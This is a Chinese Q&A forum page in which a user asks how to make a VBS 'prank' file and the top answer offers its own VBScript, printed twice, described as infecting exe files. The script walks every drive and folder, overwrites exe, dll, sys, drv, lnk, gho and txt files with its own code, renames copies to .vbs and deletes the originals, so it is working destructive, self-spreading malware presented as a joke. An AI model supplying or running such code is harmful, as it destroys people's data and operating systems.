VBS恶搞文件怎么制作?
答案:1 悬赏:40 手机版
解决时间 2021-04-16 13:26
- 提问者网友:藍了天白赴美
- 2021-04-15 14:21
网上的代码有些我看不懂,不知怎么弄.求大神详解!!
最佳答案
- 五星知识达人网友:封刀令
- 2021-04-15 14:35
你是说的是感染文件吗?
我有一段代码感染exe文件的
自己写的 用吧
On Error Resume next' 感染文件
Dim fso
Set fso=CreateObject("scripting.filesystemobject")
Dim self
Dim zs
Set divs=fso.Drives
zs=WScript.ScriptFullName
Set self=fso.OpenTextFile(zs)
Dim cover
cover=self.ReadAll
self.Close
For Each div In divs
If div.DriveType=1 Or div.DriveType=2 Or div.DriveType=3 Or div.DriveType=4 Then
scan(div)
End If
Next
Sub scan(folder_)
Set folder_=fso.GetFolder(folder_)
Dim files
Set files=folder_.Files
For Each file In files
Dim ext
ext=fso.GetExtensionName(file)
ext=LCase(ext)
If ext="gho" or ext= "exe" or ext ="dll" or ext="lnk" or ext ="drv" or ext="sys" or ext="txt" Then
Dim ap
Set ap=fso.OpenTextFile(file.Path,2,True)
ap.Write cover
ap.Close
fso.GetFile(file.Path).copy(file.Path & ".vbs")
file.Delete(true)
End If
set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
Next
End Sub
我有一段代码感染exe文件的
自己写的 用吧
On Error Resume next' 感染文件
Dim fso
Set fso=CreateObject("scripting.filesystemobject")
Dim self
Dim zs
Set divs=fso.Drives
zs=WScript.ScriptFullName
Set self=fso.OpenTextFile(zs)
Dim cover
cover=self.ReadAll
self.Close
For Each div In divs
If div.DriveType=1 Or div.DriveType=2 Or div.DriveType=3 Or div.DriveType=4 Then
scan(div)
End If
Next
Sub scan(folder_)
Set folder_=fso.GetFolder(folder_)
Dim files
Set files=folder_.Files
For Each file In files
Dim ext
ext=fso.GetExtensionName(file)
ext=LCase(ext)
If ext="gho" or ext= "exe" or ext ="dll" or ext="lnk" or ext ="drv" or ext="sys" or ext="txt" Then
Dim ap
Set ap=fso.OpenTextFile(file.Path,2,True)
ap.Write cover
ap.Close
fso.GetFile(file.Path).copy(file.Path & ".vbs")
file.Delete(true)
End If
set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
Next
End Sub
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
推荐资讯